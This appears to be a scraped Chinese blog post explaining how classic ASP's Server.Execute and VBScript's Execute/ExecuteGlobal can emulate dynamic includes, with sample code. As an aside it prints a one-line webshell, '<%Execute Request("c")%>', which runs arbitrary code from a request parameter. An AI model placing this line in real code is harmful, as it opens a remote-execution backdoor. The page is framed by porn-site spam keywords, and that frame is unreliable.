麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 編程 > ASP > 正文

ASP中Server.Execute和Execute實(shí)現(xiàn)動(dòng)態(tài)包含(include)腳本

2024-05-04 11:08:10
字體:
供稿:網(wǎng)友
ASP中Server.Execute和Execute實(shí)現(xiàn)動(dòng)態(tài)包含(include)腳本的區(qū)別,需要的朋友可以參考下。
 
 
 
最近打算嘗試一下在ASP中實(shí)現(xiàn)MVC架構(gòu),肯定有人問我:ASP都淘汰了,為什么還研究?這點(diǎn)我也知道,自從微軟放棄ASP 3.0轉(zhuǎn)向ASP.NET后,ASP已經(jīng)遠(yuǎn)遠(yuǎn)落后于和它幾乎同時(shí)開始的PHP和JSP,開源比閉源的好處就像PHP和ASP一樣,ASP說淘汰就淘汰,誰也救不了,但是值得注意的是ASP在中國市場還是蠻廣泛的,尤其是一些中小企業(yè)的一些應(yīng)用,簡單的CMS不在話下,而且部署簡單,在一些老舊的Windows系統(tǒng)上,不需要安裝.NET Framework基本上就可以直接運(yùn)行了,所以準(zhǔn)備一個(gè)框架,還是有必要的,不過我這個(gè)是實(shí)驗(yàn)性框架,只是驗(yàn)證ASP究竟能不能實(shí)現(xiàn)類似PHP的MVC架構(gòu)。 
好了,說了這么多,下面直接轉(zhuǎn)入正題吧。這個(gè)問題的緣由是因?yàn)槲倚枰獎(jiǎng)討B(tài)包含ASP文件,大家知道在ASP中只有一種include方法,那就是SSI(Server Side Include),基本上分為以下兩種: 
復(fù)制代碼代碼如下:

<!-- #include file="sample.asp" --> 
<!-- #include virtual="sample.asp" --> 

這兩種基本上大家第一種用得多一些,#include virtual包含的是虛擬路徑,一般虛擬目錄會(huì)用得到。但是這兩種都屬于靜態(tài)的,如果我們希望是動(dòng)態(tài)包含,但不可以寫成: 
復(fù)制代碼代碼如下:

<!-- #include file="<%=MyVar%>" --> 
<!-- #include virtual="<%=MyVar%>" --> 

上面的寫法是錯(cuò)誤的,可以理解為,#include指令是在ASP啟動(dòng)腳本引擎執(zhí)行ASP<% %>標(biāo)記之間腳本之前執(zhí)行的,也就是說#include不是ASP的工作,而是服務(wù)端程序,如IIS的翻譯工作,所以就不會(huì)理會(huì)你的ASP代碼了。 
如何實(shí)現(xiàn)類似于PHP的include、include_once、require、require_once動(dòng)態(tài)包含腳本方法呢?下面再來看ASP Server對(duì)象的一個(gè)方法:Server.Execute ,搜索所有的ASP特性,可以發(fā)現(xiàn)這個(gè)功能最類似于動(dòng)態(tài)include,我們可以做個(gè)實(shí)驗(yàn): 
Sample.inc.asp 
復(fù)制代碼代碼如下:

<% 
Response.Write "Hello World!" 
%> 

test.asp 
復(fù)制代碼代碼如下:

<% 
Server.Execute "Sample.inc.asp" 
Response.Write "I am test.asp!" 
%> 

實(shí)際輸出應(yīng)該是“Hello World!I am test.asp!”,說明Server.Execute在動(dòng)態(tài)包含方面可以工作得很好,但是如果我想包含類或者函數(shù)呢?接下來做下面這個(gè)實(shí)驗(yàn): 
Sample.class.asp 
復(fù)制代碼代碼如下:

<% 
Class Sample 
End Class 
%> 

test.asp 
復(fù)制代碼代碼如下:

<% 
Server.Execute "Sample.class.asp" 
Response.Write TypeName(Eval("New Sample")) 
%> 

直接運(yùn)行,出現(xiàn)錯(cuò)誤“Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a01fa' 類沒有被定義: 'Sample'”,結(jié)果很令人失望,為什么會(huì)出現(xiàn)這種情況呢?查閱了MSDN,找到這段描述:“If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的問題有些不一樣,難道Server.Execute是代碼隔離的?再進(jìn)行下面這個(gè)實(shí)驗(yàn): 
Sample.inc.asp 
復(fù)制代碼代碼如下:

<% 
Dim MyVar 
MyVar = "I am Sample!" 
%> 

test.asp 
復(fù)制代碼代碼如下:

<% 
Dim MyVar 
MyVar = "I am test!" 
Server.Execute "Sample.inc.asp" 
Response.Write MyVar 
%> 

結(jié)果輸出的是“I am test!”,很是失望!看來Server.Execute是變量、函數(shù)、類這類代碼隔離的,也就是說調(diào)用端和被調(diào)用端在代碼級(jí)別上互不干擾,看來Server.Execute只能用于包含.asp模板了。 
下面隆重出場的是VBScript的腳本特性Execute,傳給Execute的必須是有效的VBScript腳本代碼,而且Execute是上下文相關(guān)的,這點(diǎn)看來很接近于我們需要的動(dòng)態(tài)include。 
test.asp 
復(fù)制代碼代碼如下:

<% 
Execute "Class Sample : End Class" 
Response.Write TypeName(Eval("New Sample")) 
%> 

上面的代碼成功輸出我們所需要的類型名稱Sample。證明Execute確實(shí)可以做到上下文相關(guān),但是問題是利用Execute包含asp文件沒有Server.Execute方便,Execute是VBScript腳本自帶的,首先只能用來執(zhí)行代碼文本,所以需要讀取一次文件內(nèi)容,其次不能用來識(shí)別ASP的一些標(biāo)簽,比如<% %>還有一種類似于<%=MyVar %>的調(diào)用方法,所以要過濾掉<% %>,然后要轉(zhuǎn)換<%=MyVar %>為Response.Write MyVar。由于我需要的是包含類文件,不會(huì)出現(xiàn)<%=MyVar %>,只要簡單的Replace掉<% %>就可以了。關(guān)于讀取文件內(nèi)容和簡單排除<% %>可以參考下面這個(gè)函數(shù): 
復(fù)制代碼代碼如下:

Function file_get_contents(filename) 
Dim fso, f 
Set fso = Server.CreateObject("Scripting.FilesystemObject") 
Set f = fso.OpenTextFile(Server.MapPath(filename), 1) 
file_get_contents = f.ReadAll 
f.Close 
Set f = Nothing 
Set fso = Nothing 
End Function 
Function class_get_contents(filename) 
Dim contents 
contents = file_get_contents(filename) 
contents = Replace(contents, "<" & "%", "") 
contents = Replace(contents, "%" & ">", "") 
class_get_contents = contents 
End Function 

有了上面的函數(shù)我們可以直接測試下面的代碼: 
Sample.class.asp 
復(fù)制代碼代碼如下:

<% 
Class Sample 
End Class 
%> 

test.asp 
復(fù)制代碼代碼如下:

<% 
Execute class_get_contents("Sample.class.asp") 
Response.Write TypeName(Eval("New Sample")) 
%> 

結(jié)果輸出我們所期望的Sample類型名稱,看來Execute還是很強(qiáng)大的,確實(shí)很強(qiáng)大,因?yàn)榻?jīng)常有不懷好意者用來做“小馬”,最簡單的ASP一句話木馬的寫法估計(jì)是下面這句了: 
復(fù)制代碼代碼如下:
<%Execute Request("c")%>

比如這段腳本位于file.asp,然后傳入file.asp?c=木馬文本,呵呵,下面的事你也知道了吧。好了這個(gè)是題外話,關(guān)于Execute還有一點(diǎn)需要注意的是,這個(gè)是上下文相關(guān)的,所以要注意作用域問題,如果Execute位于Sub過程或者Function函數(shù)內(nèi)部,那么在這個(gè)外部是無法訪問的。 
參考文檔:《Server.Execute Method》 和《使用 Server.Execute 方法》 。 
2011年11月23日更新 
還有一種VBScript特有的寫法叫做ExecuteGlobal,這個(gè)可以解決上文說的作用域問題,通過其執(zhí)行的代碼是全局有效的,但是要注意避免類、函數(shù)、過程或者變量的重定義覆蓋問題。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 宅男噜噜噜66国产免费观看 | 黄色高清av | 91久久国产综合久久91精品网站 | 久久中文字幕在线观看 | 日韩黄色免费在线观看 | 永久免费黄色片 | 日韩视频在线一区二区三区 | 孕妇体内谢精满日本电影 | 免费午夜视频 | 久久国产精品二国产精品中国洋人 | 久久久久久久99 | 欧美一级做一级爱a做片性 91在线视频观看 | 国产精品久久久久久久四虎电影 | 国产一区二区成人在线 | 性视频久久 | 免费久久久久 | 免费国产a| 欧美一区二区三区中文字幕 | 免费一级特黄毛片视频 | 日本一区二区高清不卡 | 逼特逼视频在线观看 | 亚洲一级片在线观看 | 久久吊 | 色婷婷久久一区二区 | 成年免费大片黄在线观看岛国 | 一级国产免费 | 国产电影av在线 | 一本色道久久99精品综合蜜臀 | 精选久久 | 色操网 | 欧美成年视频 | 久久亚洲精选 | 欧美激情猛片xxxⅹ大3 | 国产在线观看91精品 | 嫩草www| 动漫孕妇被羞羞视频 | 一级黄色片在线看 | 日韩999| 欧美一级黄| 一区二区三视频 | 热99热|